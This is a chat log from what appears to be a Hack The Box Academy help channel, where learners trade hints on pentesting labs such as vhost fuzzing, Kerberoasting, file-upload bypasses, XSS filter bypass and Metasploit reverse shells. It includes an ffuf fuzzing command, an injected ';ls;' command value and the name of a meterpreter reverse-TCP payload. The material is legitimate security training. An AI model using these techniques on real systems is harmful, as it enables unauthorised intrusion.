[fathom pendant]

Don't include the hash, the ss of it saying encoding error would have been just fine

[teal sparrow]

figured it out thanks for your help tho

[steel snow]

Excuse me! i am doing information gathering web edition

[tight glen]

@fathom pendant thanks, how do I know what to include? I remember there was something here

[fathom pendant]

It's a t3 modules so anything you have to discover or find is a spoiler

[tight glen]

oh right, i did include the entire thing..

my bad, havent posted here in a while!

ok here we go again..

could anybody help me with the kerberoasting module in active directory & enumeration & attacks?

currently stuck at the kerberoasting from linux part:

[safe star]

Why does everyone have that wallpaper?

[safe star]

Did you copy it correctly?

Or put it in a output file

[tight glen]

well its the default wallpaper of xct "Kali clean"

[tight glen]

I did it 1;1 like in the module. I exported it with -outputfile too..

[safe star]

Try pwnbox to see if it’s your hashcat

[tight glen]

good idea, ill try that

Thank you @safe star that did indeed work

[steel snow]

Excuse me, i am trying to understand the 3rd question in the skill assessment section in the information gathering web edition

i mean it's assuming i already found ADMIN directory

i didn't but

i tried to bruteforce the dir using gobuster and vhost using gobuster

also i tried to use the finalRecon automated tool

i pretty much tried So many different wordlists

i am still unable to find it

i tried to look if there is a robots.txt file, but i couldn't find any

i tried to crawl but it seems like in the main website, there is nothing to crawl so i need an initial subdomain or a vhost

since this is a custom vhost, it seems like there is no data about it online on whois or

an TLS/SSL certificate

not a transparent log

[remote fulcrum]

Doing: Passwords Attacks module, Section: Password Mutations. For the Question there, I used hashcat to create a "mutated" pwd list from the provided one. But ... "bruteforcing" against SSH, seems to take forever. What am I doing wrong? Or what do I not understand of the question? Any hint please?

[safe star]

are you on the vhost?

[safe star]

try a faster service

[remote fulcrum]

Ah of course. Silly me. Will try because this is gonna take a week LOL. Thanks for the push in the right direction.

[steel snow]

what do you mean exactly?

the section?

no i am not at the vhost section, i am at the skill assessment one

[remote fulcrum]

that you need to find the virtual host

[steel snow]

according to my understanding, yes, i need to find a vhost or a subdomain

[remote fulcrum]

first find the VHOST. Puit that in your hosts file and then gobuster dir -u

[steel snow]

i am aware

but i tried all available wordlists

the shorter ones

i couldn't find a single vhost

i have the main vhost in the /etc/hosts file

[remote fulcrum]

take raft medium. Or try with ferox

[safe star]

did you use the wordlist in the section: subdomains-top1million-110000.txt

[remote fulcrum]

Or FFUF even

[steel snow]

not the biggest, i did for the 20k one

[remote fulcrum]

Always the 110K one for vhosts

Its fast anyway. And a tip: use ffuf for vhost finding.

[steel snow]

hmmmmm, i talked once with someone who said, focus on the smaller wordlists

[remote fulcrum]

finding = fuzzing

[steel snow]

there shouldn't be a difference between ffuf and gobuster in this case tho no? maybe just speed wise?

[remote fulcrum]

speed indeed

[safe star]

ffuf is faster

[remote fulcrum]

100% ^^

[steel snow]

why to use gobuster then? we can fuzz dir and subdomains in ffuf too

[remote fulcrum]

Yup

I tend to use ffuf more and more now.

[safe star]

not sure tbh

i think they just wanted that for the other module or something

[waxen totem]

sometimes tools will break so it's good to have a few of them you can use

[steel snow]

i mean it was mentioned in the same module but i am just a little more familiar with gobuster now

[remote fulcrum]

plus sometimes different tools give different results

[remote fulcrum]

gobuster should work for you

[steel snow]

well i just tried the bigger list, still failed

[steel snow]

i don't know where are those, ferox or raft, in the DNS folder of the seclist, they don't exist

do i just download them online or they exist somewhere in the seclist?

[remote fulcrum]

/opt/SecLists/Discovery/DNS/sub.....110000 ...txt

[steel snow]

yes that one, is done

[safe star]

did you --append-domain?

[steel snow]

hmmmmm not now, let me do it now, i did it before i forgot to add it now

[remote fulcrum]

Or /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

ffuf -w ....... -H "Host: FUZZ.domain.com" -u http://domain.com

Something like that.

[cyan lark]

With gobuster you need to use both --append-domain and --domain DOMAIN

[remote fulcrum]

See? ffuf is easier. 🙂

[steel snow]

yes yes thank you i am aware! in the -u flag, i am supposed to add the port as well since it's not a regular port

right?

[safe star]

yes

[steel snow]

yeah... i am still unable i used ffuf

seems like it's a wordlist issue

[safe star]

did you add the port to ffuf?

[steel snow]

unless somehow there is a problem in the /etc/hosts file

[steel snow]

yes absolutely

i added it like :port

[safe star]

dont add the port to the hosts file

[steel snow]

i didn't

[remote fulcrum]

Eh.. no

[steel snow]

the website now is accessible under the correct name

only problem is that i am not finding the vhost when i am enumerating

nor any dir if i did a directory enumeration

using the common.txt wordlist

[safe star]

can you dm the command

[tight glen]

Why not just show your command and hosts file 🙂

[remote fulcrum]

I never use that one

[tight glen]

ffuf ftw, also feroxbuster is cool 🤓

[waxen totem]

you could try to put the expected vhost/directory in a txt file use it as a wordlist just to see if your tools are working correctly

[remote fulcrum]

to me Ferox is a bit messy. Probably ignorance or personal dislike.

[tight glen]

yeah i get where you're coming from. ferox is fun for quick subdomain/directory discovery

[torpid quiver]

Hi

[tight glen]

if you really need to dig i prefer ffuf

[torpid quiver]

Can anyone hack

[remote fulcrum]

I use Ferox to double check results from ffuf or gobuster, when I dont trust the results.

[remote fulcrum]

No, we can't.

[torpid quiver]

Why can't you I can

[remote fulcrum]

You can? Great man.

[torpid quiver]

Thx

[cyan lark]

Why not the subdomains-top1million-110000.txt wordlist?

[weak token]

Hey, I'm kinda stuck in getting started public exploit module. I've visited the webpage and run the only exploit that was listed for the plugin. It produced a loot file. I'm kinda lost at what to do with said file.

[acoustic owl]

I think you're on the wrong server. Be sure to read the #rules

[remote fulcrum]

we already said. so I have no idea why not.

[cyan lark]

Can you provide a picture?

[cyan lark]

Yeah we seem to be more passionate about solving his module than him

[weak token]

of the loot file?

[cyan lark]

Output of the exploit running

[cyan lark]

Alright, take a look at the loot file.

[remote fulcrum]

Cool. A backup file as loot is always good.

[waxen totem]

Look at the last file extension: It's a .txt file

[remote fulcrum]

and to double-check, use the file command. 🙂

[weak token]

Are these web page folders? I've tried most of them with no success

[remote fulcrum]

Did you look at the .txt file you got?

[weak token]

Yes, a list of folders I think

[fallen rampart]

Hey, is this where i can get hints to questions?

[remote fulcrum]

Let me quickly look at the module.

[remote fulcrum]

For HTB Academy modules, yes.

[remote fulcrum]

can you show it in a DM? I cannot start that module as I have another one running.

[fallen rampart]

Okay.. Uhh I feel dumb.. I'm stuck on module/112/section/1067 - host based enumeration/SMB. I can't find the version of the SMB server that's running. After nmapping I get an outcome and I paste it (the question told me to submit the entire banner so I did) and it doesnt work. I have every other question correct..

[safe star]

what was the target file?

[remote fulcrum]

Let me look.

[fallen rampart]

thx

[remote fulcrum]

what is module 112 btw? Hahaha.

[fathom pendant]

Try using --script banner

[remote fulcrum]

Got it. Pasted it in the URL

[fathom pendant]

There's also other enumeration methods for smb

Doing it from vpn gives weird results

Try with pwnbox

[remote fulcrum]

It is 2 words and a version number

[fathom pendant]

Stop your vpn when you use pwnbox btw

[quasi wave]

hi I'm doing the Attacking DNS section of Attacking Common Services module. The only question at the end of the module is Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. The thing is I am using subbrute just like the section describes. I started it up a few minutes ago and its taking time to complete. I used to exact subbrute command from the section on the target domain name. Do I need to subbrute the target server it gives me? How long should subbrute take? Should I use the -t 50 option to speed it up?

[fathom pendant]

Yes you need to target the server it gives you

Public nameservers won't resolve inlanefreight.htb

[remote fulcrum]

I think .htb should be a new TLD

[fathom pendant]

Won't matter anyway

[remote fulcrum]

It was a joke.

[fathom pendant]

Since it's hosted on a private network

[remote fulcrum]

Pfff

C'mon. A bit of humor please.

[fathom pendant]

¯_(ツ)_/¯

[remote fulcrum]

You need to query the machine at hand. So not on the Internet.

?

[fathom pendant]

https://tenor.com/view/why-huh-but-why-gif-13199396

You provided 0 context for them to want to check dms

Yes

#rules actually

No dming anyone without consent

[remote fulcrum]

? I am confused now. Who are you sending DMs to?

[fathom pendant]

"hey can I dm you about the module i was working on earlier"
^ a simple enough Q

[remote fulcrum]

exactly!

It is called Netiquette

[fathom pendant]

Considering context got a bit pushed with mark

[remote fulcrum]

What are you on about?

[fathom pendant]

Yeah but ask first is the point

[remote fulcrum]

What even is "that" matter?

[fathom pendant]

Instead of being goofy and going

(dont) check dms

[fathom pendant]

The footprinting smb section

There's other ways of enumerating version

[quasi wave]

I made a new resolver.txt file to replace resolvers.txt and put the target IP address as the only resolver. Now, its giving me results. Do I need to replace names.txt as well?

granted, it is taking a little time but the results I'm getting are much better

[remote fulcrum]

Geez. My mistake. I now see that @nikt47 is actually bestcatever

[fathom pendant]

No

[remote fulcrum]

still odd that nmap on pwnbox gives a different result than an up-to-date Kali machine

[fathom pendant]

it's touchy ¯_(ツ)_/¯

[quasi wave]

ok should I just wait it out? would using the -t 50 option be appropriate to speed it up?

[fathom pendant]

Just wait it out, and check results as they come in

[quasi wave]

ok thanks

[remote fulcrum]

Must be latest version as I did that module a while ago and I got the right results. And I never use the pwnbox

[fathom pendant]

The names.txt file is large

[fathom pendant]

Some labs are just touchy and weird

[remote fulcrum]

Like the one I do now? Hahaha. I am doing something wrong as I am waiting for a correct pwd hit for hours now.

[fathom pendant]

If it's taking hours, you're doing something wrong

[remote fulcrum]

I know

[fathom pendant]

Just taking the doubt out lol

[remote fulcrum]

Staring at this for long now hahaha

[fathom pendant]

I forget, is this section before or after the mutations section

[remote fulcrum]

It is THE mutation one.

[fathom pendant]

Ah

Well, have fun

[remote fulcrum]

If I use the supplied rules file, the pwd list file gets real long

If I use the rules file in the module as codeblock, it is way shorter, but no success hit.

[fathom pendant]

The wordlist should be ~94k words

[remote fulcrum]

It is

[fathom pendant]

Don't use the codeblock rules

Everything is provided in the resources button

[remote fulcrum]

Then I have the correct one

[fathom pendant]

Yep, that's correct

[remote fulcrum]

Thought my scrshot was corrupt. LOL

Then I will just take a drink, smoke one and wait.

And in the meantime read the next module.

[fathom pendant]

Next section *

Module is the overall thing section is what you're working on

[remote fulcrum]

Correct. My mistakke.

[fathom pendant]

To save headache later
save any creds you find

[remote fulcrum]

Hmm, good one. Because it is "just" the Academy, I tend to not make many notes.

[quasi wave]

how long does it normally take to find the right DNS record? in the real world, wouldn't it take even longer?

unless you use -t 100 or something?

[remote fulcrum]

with what method? What record?

[quasi wave]

brute forcing domains with subbrute

[remote fulcrum]

Not needed. You can get the answer instantly.

[quasi wave]

ok

[remote fulcrum]

Just use dig or so, but point it at the machine you spun up.

[quasi wave]

I mean to brute force subdomains

ok then what's the point in ever using subbrute?

why is the exercise having me do it?

[remote fulcrum]

for the "inlanefreight.htb" domain on the target name server <- look at the last 2 words.

[remote fulcrum]

does it?

[safe star]

Yes use subbrute if it tells you

[remote fulcrum]

can you tell again what module/section?

[quasi wave]

yes because dig AXFR gives me an error if I try and subbrute is included as a means of brute forcing subdomains

[remote fulcrum]

check

[quasi wave]

the question is Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. dig won't work it gives me an error

I tried so the only answer is subbrute

and subbrute is slowly giving me more and more results

why would anyone use subbrute if you always could get the answer with dig instantly?

[safe star]

Then wait

[fathom pendant]

You can dig <sub.domain>

You don't have to use axfr

[safe star]

You won’t

You have to find the subdomain first

[quasi wave]

ok got it

[steel snow]

Excuse me, do you think that it's okay to skip the vulnerability scanning module for now?

[safe star]

I finished that right before aen

[steel snow]

aen?

[safe star]

The last module

[steel snow]

so i can skip it right?

for now i mean

[ocean night]

I wouldn't skip.

[remote fulcrum]

because Dig can have its security configured correctly.

[ocean night]

If your aim is to go towards a cert, go through all the modules.

Also you have the practical exercise at the end

If you're not going towards an exam, and don't care about vuln scanning, go for it

[steel snow]

thing is i am writing everything, and this module doesn't feel very exciting, and it feels more directed to real cybersec which is not yet now

[fathom pendant]

It doesn't take long to get through tbh

[steel snow]

thing is, i am writing ALL the lessons using cherry tree

[fathom pendant]

All of academy is cybersec

[ocean night]

I mean do you know the subject already?

Are you working towards an exam?

[fathom pendant]

Are you summarizing or copying verbatim

[remote fulcrum]

I hope not the latter

[ocean night]

Even if you know the subject, go through the module

[remote fulcrum]

Its a must to apply for a cert exam even.

Plus you always learn something.

Most of the time.

[steel snow]

absolutely, but is it This time? i don't have an exam

[ocean night]

Just... why skip skip skip skip, then get to the end and post here going "how do I think this?"

It happens so often

[steel snow]

i don't do that, just this topic and nessus, makes me feel like i am doing Blue team

[ocean night]

Then why are you even going through it if you're just coping the content

[steel snow]

so demotivating hahahaha

[fathom pendant]

The vuln assessment module easily takes the least amount of time

[ocean night]

https://tenor.com/view/running-quick-fast-running-fast-sprint-gif-11390031044419433068

[steel snow]

forces you to read everything

[ocean night]

You started it..

[remote fulcrum]

reading is good for your brain

[ocean night]

..make the most of it and finish it

[fathom pendant]

I have one of those?

[remote fulcrum]

LMAO

[steel snow]

Also guys, when do you suggest to start doing some easy machines?

because i was trying to do as the first lesson suggested, to do an easy machine immidiately after each module

[fathom pendant]

Whenever you want

[steel snow]

but most of the times, you find stuff you still didn't learn about yet

[fathom pendant]

Correct

[remote fulcrum]

Thats the fun

[fathom pendant]

Because the labs are created independently of academy

It's always a game of research

[waxen totem]

All boxes come with research... there hasn't been a single box where the academy modules are sufficient

[steel snow]

thing is, i don't want to look at walkthroughs

[remote fulcrum]

Makes your brain work real hard.

[fathom pendant]

Well active machines don't have walkthroughs

[safe star]

Almost every machines is going to have something you don’t know about

[fathom pendant]

You don't need to look at walkthroughs btw

[remote fulcrum]

And you dont HAVE to look at a walkthrough

[fathom pendant]

Encounter something? Google that something

[remote fulcrum]

you beat me to it

[steel snow]

thing is, you don't have the confidence when you are at such a stage

[fathom pendant]

Not Google "<box>"

[steel snow]

like how are you sure you didn't miss up on something

[remote fulcrum]

Neither did I when I signed up in 2017

[fathom pendant]

It's a shift in perspective

Instead of looking for the box, looking for the technology in use

[remote fulcrum]

See what seems "off"

[fathom pendant]

getting started - public exploits

That section shows how to look for things

[steel snow]

i am a good researcher online

so i don't mind searching but

[fathom pendant]

As every box has a publicly researchable vuln

It's literally part of the requirements

[steel snow]

do you mean by every box, a machine or a question?

[fathom pendant]

https://help.hackthebox.com/en/articles/5307061-machine-submission-requirements

On the main site ^

[waxen totem]

box refers to machine in https://app.hackthebox.com/machines

[steel snow]

yeah, whitebox machine, greybox machine and blackbox machine

[waxen totem]

All the boxes in hack the box are considered blackbox despite some of them leaking the code intentionally

[steel snow]

bruteforcing should always be a last step right?

[fathom pendant]

it depends

But for boxes, only if hinted at

[waxen totem]

Most of the boxes don't need bruteforcing above 2 minutes when the right techniques are used

[quasi wave]

will the flag be in the traditional HTB{flag} format?

[remote fulcrum]

On boxes not. There it is a hash

[steel snow]

usually, but not always

[quasi wave]

I mean for the section I'm on in academy

[remote fulcrum]

Sorry. I missed the context

[quasi wave]

the Attacking DNS section of Attacking Common Services

[remote fulcrum]

They will be yes.

[quasi wave]

ok thanks

[remote fulcrum]

As far as I see on the Academy all the time.

[quasi wave]

ok thanks

[unborn summit]

there are some modules which dont use this format but they are very few

[quasi wave]

ok got it

[remote fulcrum]

thx for that clarification

[steel snow]

i have seen flags that are in hexadecimal format i think

[quasi wave]

in the real world, if dig is configured correctly and dig AXFR doesn't work on an actual website, and if in that case subbrute is necessary, doesn't that mean doing subbrute in that instance will take much longer than doing subbrute on Hack the Box Academy?

[steel snow]

or a hash probably

[quasi wave]

I know I asked earlier but I think I got an answer to the wrong question

because I didn't clarify well enough

[pine dune]

Hi

On the file upload attacks and doing the blacklist part

got this

[unborn summit]

it would take longer in the same way that accessing a website on the net might take longer than accessing a website on hackthebox academy. It just depends on what your ping is to the dns server.

[safe star]

wrong extension?

[quasi wave]

ok so basically, how much latency is there?

[pine dune]

There werent any errors in my php command but I think there may have been some errors with the magic bytes. Can I put some more magic bytes in the request and cut it off randomly?

[waxen totem]

file extension has a 3 at the end

[pine dune]

ahhh

[unborn summit]

yeah

[pine dune]

thanks

wait a min

thats the right extension

php3 is allowed

php isnt

[unborn summit]

curl the url to see the contents without it erroring out

if you want to see the contents that is

[safe star]

it doesnt stop at php3 tho

there are others

[waxen totem]

I hate php... despite it being vuln asf

[pine dune]

is the php3 extension wrong or sumin? In the fuzz it said it wass vulnerable to php 3

[fathom pendant]

sometimes it's an md5 hash

[fathom pendant]

just because it's accepted doesn't mean it's vulnerable

[safe star]

just because it uploads doesnt mean its the right one

[fathom pendant]

https://tenor.com/view/jinx-seinfeld-gif-5355403

[pine dune]

wait, then if its accepted, how do we KNOW which one is vulnerable?

because in burp it gave the same lengths

and there were possibly 5 others

[fathom pendant]

test each of the accepted ones; visiting in browser and looking at the page source will be a good clue

the accepted, but not vulnerable, ones comment out the code

<!-- -->

[pine dune]

okay let me try that

[waxen totem]

A fun but simple project for you would be to automate the vuln check

[unborn summit]

sometimes its just text that doesnt follow any format

[remote fulcrum]

Right. I am losing patience as I am doing something wrong for the Pwd attack/mutate section. Its all fun here, but in the meantime I also want to find the right pwd. Who is so kind to get me on track? Possibly in a DM, so I dont paste spoilers?

[unborn summit]

i can dm

[remote fulcrum]

that is kind of you

[pine dune]

@fathom pendant thank you guys for your help I managed to solve it 😄 @safe star & @waxen totem @unborn summit . @fathom pendant u remember yesterday when it was base 64 encoding. Could you please tell me why the heck it was doing that?

[fathom pendant]

something you did was returning it as base64

[remote fulcrum]

And I want to thank @unborn summit for pointing out that I forgot about netexec

[quasi wave]

ok so I got several domains

but I haven't gotten any flag.

I think that its related to the last URL it gave me.

[fathom pendant]

dig sub.domain.htb

don't do axfr

[quasi wave]

wait I tried that

I found flag already tho just before I saw your answer

you answered too late and what you said didn't work

[fathom pendant]

Forgot the @ip

¯_(ツ)_/¯

[quasi wave]

ya I know I typed it wrong when typing it on discord

but when I did that included that bit

[fathom pendant]

I deleted it because it was revealing the answer

[quasi wave]

ok

[fathom pendant]

I meant i forgot the ip part

You had it in the copy/paste

[quasi wave]

ya point taken. I thought if it was marked as a spoiler that it would be fine.

[fathom pendant]

spoiler text does nothing

[quasi wave]

ok

[fathom pendant]

Anyone can click it or even disable it in settings

[quasi wave]

then why do we even have spoiler text?

that sounds stupid

[fathom pendant]

You can still do some obfuscation behind the spoiler text

I.e. doing sub.domain.htb instead of the answer

[quasi wave]

ok I see got it

[fathom pendant]

Thay way those who know, get it

Also it's not an htb discord feature, it's just a discord feature that can't be enabled/disabled on serverside

It's just baked into the markdown format

[quasi wave]

ok got it. I won't do it again.

[fathom pendant]

Like heading tags

They can block things like masked links []() because they can do a regex search for text between [] and ()

[quasi wave]

is the next module difficult? the one on Pivoting, Tunneling, and Port Forwarding?

the current one seems easier than previous one

I know AD module will be super super difficult

[waxen totem]

@pine dune remember the conversation we had about my notion automation? Figured out how to do it in Obsidian using the dataview plugin,

Template Note

---
date: {{date}}
---

Review Note

```dataview
TABLE date
WHERE date AND date = date(yesterday) OR date = date(today) - dur(1 w) OR date = date(today) - dur(1 mo)

[rough comet]

Hi folks. Can I please get a nudge on getting bob_adm credentials? Windows Privilege Escalation module

I moved to Kali what I thought was the file ... but it is empty...

[rough comet]

can someone please help me?

[lusty thicket]

looks like the file is empty

[rough comet]

I know, lol

I guess that suppose to be the file

but is empty

so obviously, can't get any password from an empty file.

is this a rabbit hole?

I tried the one that starts with ||"Strong"|| ... but that does not seem correct either, although the document indicates it corresponds to bob_adm

hi, can I DM you? stuck on same exercise.... I think I found the right file that contains bob_adm password but it is empty

[junior helm]

Does anyone have machine spawning issue?

I cannot spawn the machine for the last 20 minutes

[rough comet]

nope

no issues here

[junior helm]

Okay I see. It's working now

[remote fulcrum]

Taking a side-step to module Cracking Passwords with Hashcat now. Very nice and some new stuff for me.

Recommended.

By me, for what that is worth LOL

[weak token]

Question, I've been reading the report on the exam is pretty important. Would it be a good idea to skip to the report module and write reports for each module? Or is it the last module on purpose?

[fathom pendant]

It's near the end on purpose

As it requires some knowledge of other topics to complete, it's assuming you know the stuff

Also i wouldn't write a report for each module, as most aren't really gonna have enough to fill up a report on

[weak token]

Okay figured I'd get ahead on report writing but I'll be patient 😌

[remote fulcrum]

Just start getting used to making proper notes. Chose your favorite note-taking app and get used to it. Read about what a proper report needs and then just make it a habit to make notes that would fit in a report..

[remote fulcrum]

Really, read up a bit about what a proper report is. The report is not for you. It is for the client you work for.

[fathom pendant]

well yeah, but being truly honest, it'd be BETTER to do reports on retired machines

unless you want to just do the skill assessments?

¯_(ツ)_/¯

but as i said the reporting module requires knowledge from a fair bit of the modules to be successful at completing it, unless you just read the reporting portions then come back later to complete it

[remote fulcrum]

I dont know. I just keep on working on making the best and most efficient notes for machines. Notes that I could use in a report.

[fathom pendant]

^

notes will serve better

when I did AEN blind i had 2 screenshots for each step i included in the report; the raw screenshot for my notes and the redacted screenshots for the report

[remote fulcrum]

Well, does it not all start with proper notes?

[remote fulcrum]

help me out pls, what is AEN?

[fathom pendant]

Attacking Enterprise Networks, the capstone module of the pentester path

[remote fulcrum]

Got it.

[fathom pendant]

the module itself is a walkthrough, which is why it's recommended to do it blind:

• don't read questions
• don't read the module

just boot2DA

it's a great test of methodology

[remote fulcrum]

Nice.

[fathom pendant]

genuinely if you took good notes on the preceding modules you'll be able to complete AEN without issues

afterwards reading the module can help you see if you could have done something differently

but some parts of AEN (reading) rely on tools that i don't use often, like proxychains and msfconsole as a revshell/pivot tool

ligolo-ng >>>> most other tools out there

[remote fulcrum]

I only still stugle with how I want to note and format machine-sets. Not really struggle, but for myself on how best to make notes. I use Obsidian, so that helps. Like having overview, then filling that in along the line and so on. With folders for machines in the set. Practicing this I do now on Pro Labs.

[fathom pendant]

i suggest looking into the canvas feature

[waxen totem]

Don't you still need proxychains for ligolo? cos IK you ned it for chisel

[remote fulcrum]

yup

[fathom pendant]

nope

it operates on it's own stack

[remote fulcrum]

I use canvas

[waxen totem]

On obsidian there's also the mermaid flowcharts thing, I prefer using it over canvas cos it's all in md instead of json

[fathom pendant]

#modules message here's an example ss of how i organize things in canvas

[waxen totem]

in reality I prefer drawing all my notes using a pen tablet

[remote fulcrum]

thx for the hint. I will look into it.

[fathom pendant]

mermaid charts are good for an overview of steps

tbh you can utilize both;
overview of steps with a mermaid chart
canvas to organize

[remote fulcrum]

I try to creat that as well now. Not with Mermaid. Just like a complete attack chain. I hope it makes sense.

[fathom pendant]

ye

[waxen totem]

And I mentioned earlier using dataview plugin as a tool to remind you to review notes:
#modules message

[fathom pendant]

ye

[remote fulcrum]

I saw it. One thing at a time.

[fathom pendant]

https://mermaid.js.org/syntax/stateDiagram.html

[remote fulcrum]

I only yesterday saw you can use tips in Obsidian.

[waxen totem]

BTW wdym by doing AEN blind? do you just spawn the target(s) and only answer the questions after achieving DA? @fathom pendant

[remote fulcrum]

It is like a magic box, where you slowly discover little nice things.

[fathom pendant]

https://mermaid.js.org/intro/

[fathom pendant]

yep it's one target for the whole module

[waxen totem]

So you just don't look at each section of the module then?

[fathom pendant]

nope

[waxen totem]

Noted... will do that, seems like a good way to get prepared for the exam

(he says while only being 3% done with the path)

[fathom pendant]

having gone back through on notes several times on it; it's Super easy to dive into unrelated things just focus on what's in front of you and remember that enumeration is a recursive loop

once you find a new path you start your enumeration loop over again

you will use just about everything

[remote fulcrum]

Yep. And thats what I find hard to document.

Because in the end there should be a result from the report. One, and very important: to get the mgmt layer to see why they should keep on investing in CyberSec defense. And two, to have the tech guys see how they can improve at the spot and also give them some knowledge to prevent security issues.

[fathom pendant]

if it's a path forward: utilizing the vuln found on host x the tester attained remote code execution and gained access to the host system directly
detail steps on host
utilizing info found on share y the tester was able to move to another host y on the network, further compromising it

[remote fulcrum]

Yeah. And still I stress the importance of addressing mgt. Those are the ones having access to budget somehow.

Anyway, I am going to catch some sleep. It was a pleasure peeps.

[waxen totem]

I wouldn't worry about the phrasing and writing during the engagement, just take notes, write the report after

[fathom pendant]

Eh bad practice

Best to do as you go, clean up as you finish up

[waxen totem]

That's fair, but there's some parts of the report that I think aren't worth writing until after the fact

exec summary and all that

[fathom pendant]

Yes that, lol, but for the most part good documenting goes a long way

[waxen totem]

I mean if you write notes well enough
most of your report is done when you
finish the engagement

[lusty thicket]

find the file

[waxen totem]

https://tenor.com/view/йокелемене-men-in-black-light-sunglasses-gif-15516530

[crude wind]

Hi! I'm going through a module on the basics of Linux. There are the last two tasks regarding the kernel release and the name of the network with an MTU of 1500. I entered uname -r and wrote out the release in the x.x.x format, then ifconfig | grep 'MTU 1500' and entered the names of first one of the networks with MTU 1500, then the other, then both separated by a space. Both answers are incorrect. What am I wrong about?

[fathom pendant]

are you ssh into the target?

:)

[crude wind]

I work in HTB workstation.

[fathom pendant]

theres still a target to ssh to

whatever you're using as your workstation doesn't matter

pwnbox != target

[crude wind]

I don't have an ip to connect to.

[fathom pendant]

the target is the 10.129.x.x address (sometimes a public_IP:port) that's spawned when you click "click here to spawn target"

look above the questions

should say
Target: Click here to spawn target

[crude wind]

Oh, Ok

[fathom pendant]

Spawn instance spawns the in-browser attack box aka pwnbox, which is not the target

[crude wind]

Thanks, I forgot about that.

[noble raft]

Hi everyone 🙂
Did anyone here succeeded in the XSS Filter Bypass lab? Could really use a hand

[misty current]

How exactly are you connecting to the WS001, can you DM me the command you're using?

.

[pine dune]

Thanks Ima have to install that plugin. I installed something (maybe that) earlier for reviewing my notes and reminding me but it didn't work :/

[agile imp]

I am connected... now i am trying cert.pem to pfx.

[noble raft]

Anybody? XD

[waxen totem]

Just ask the question instead of asking if anybody can answer the question

http://dontasktoask.com

[noble raft]

In the lab, im able to pass the xss filter with the <object> and base64 encode of the payload. Directing the user to the exploit server proves to be problemtic. when giving relative directory, an invalid URL error arises, when putting full url, hitting CORS violation although its the same site. Cant get any grasp on how to solve it and need some guidance

[storm elk]

dm me what you got @noble raft and I will have a look in a bit

[agile imp]

anyone can help me?

Why am i not authenticating?

[honest crane]

Anyone available for help for the Linux Privesc - Logrotate section?

I've got the payload/command exactly as in ippsec's video, but still can't get it to execute anything.

[urban elk]

did it just yesterday and it was very frustrating. DM if you'd like

@honest crane ^ (forgot to mark as reply)

[honest crane]

I just DM'd you

[waxen totem]

Damn bro either type it down or take a screenshot ...

$ Get-CimInstance -ClassName win32_OperatingSystem | select Version

Answer format(see question)
Windows X

[coarse trout]

ohhhh okay thank you! i feel silly now

[brave prawn]

`Building wheels for collected packages: scrypt
Building wheel for scrypt (pyproject.toml) ... error
error: subprocess-exited-with-error

× Building wheel for scrypt (pyproject.toml) did not run successfully.
│ exit code: 1
╰─> [42 lines of output]
running bdist_wheel
running build
running build_py
creating build\lib.win-amd64-cpython-313\scrypt
copying scrypt\scrypt.py -> build\lib.win-amd64-cpython-313\scrypt
copying scrypt_init_.py -> build\lib.win-amd64-cpython-313\scrypt
creating build\lib.win-amd64-cpython-313\scrypt\tests

<SNIP>

scrypt-1.2.1/libcperciva/crypto/crypto_aes.c(6): fatal error C1083: Cannot open include file: 'openssl/aes.h': No such file or directory
error: command 'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.42.34433\bin\HostX86\x64\cl.exe' failed with exit code 2
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for scrypt
Failed to build scrypt
ERROR: Failed to build installable wheels for some pyproject.toml based projects (scrypt)`

Hey, did someone had such issue when installing requirements for micr0shell in Defense Evasion module?

UPD: https://github.com/ethereum/pyethereum/issues/888#issuecomment-553635125, this resolved the issue for me

[waxen totem]

you using a python environment?

[brave prawn]

yes, venv

[waxen totem]

can you check if this:

C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Tools\\MSVC\\14.42.34433\\bin\\HostX86\\x64\\cl.exe

exists?

[brave prawn]

yeah, it exists

[waxen totem]

Welp, I've never done that module nor had that issue so...

I'd look for that header file though

[brave prawn]

okay, thanks tho

[nova nest]

Module: Shells and Payloads

Currently I'm trying to comprimise the rconfig-webserver (Version 3.9.6).
I tried using metasploit, but I'm not be able to gain a shell, as shown in the module.

I use the provided attackbox. I can tell, i setted the options correctly.
-> RHOST
-> RPORT
-> payload (php/meterpreter/reverse_tcp)

as far as i know, this section is only for questions regarding the acedemy hack the box modules.

[autumn pilot]

Look into your LHOST value, think if the machine can reach that IP address

[compact relic]

Sorry I just joined just learning use

[nova nest]

thx worked for me

[nova nest]

yea no problem brother ❤️

[waxen totem]

I'd remove the images webserver and payload information as it's not a free module

[nova nest]

Ok alright! I'm already done!

I did it for you!

[safe star]

Boiler

[lone locust]

Hi guys! Does anyone know how many days I have to finish the SOC Analyst exam and how many attempts I can make? Thank you in advance.

[acoustic owl]

https://academy.hackthebox.com/exams/4/certification-steps

[lone locust]

Wow thnx that was really helpful

[narrow meadow]

hello,

[white junco]

I have a question. Do VMs provided on the platform supposed to be cut off from the internet ? In my module I'm tasked to download an enumeration script and use it on the machine but I'm unable to download it. After checking turns out the VMs are cut off. I suppose I could use SFTP protocol to move the file but it seems little cumbersome to me.
Your thoughts ?

[autumn pilot]

Yes, the targets do not have internet connection by default

[quick abyss]

Anyone know what Sementation Fault (core dump) means. I have tried to look online and can't figure out why my reverse shell is giving this error and then connection closes straight away on meterpreter multi handler

Module: Pivoting, Tunneling, and Port Forwarding
Section: Meterpreter Tunneling & Port Forwarding

[storm elk]

@rustic sage - wrong channel to post - read #rules and #welcome - also reading the channel description would help

[rustic sage]

I've a problem in this exercise i tried many times and I couldn't find the solution
Exercise 2: Try adding a rule that automatically adds ;ls; when we click on Ping, by matching and replace the request body of the Ping request. module --> proxies web

[fathom pendant]

refrain from revealing info about a skill assessment

but to answer your question

• the accounts are there because that's how it's set up
• one is a service account user/pass
• You should be looking to try everything possible when you find new information; enumeration is an iterative process, the second you find something new to dig into you should be starting your enumeration processes over again.
  I summarize my enum process with Analyze, Hypothesize, Try, Repeat

Analyze what you have in front of you
Hypotheisze what you can do with that info
Try your hypothesis
Repeat until you find a break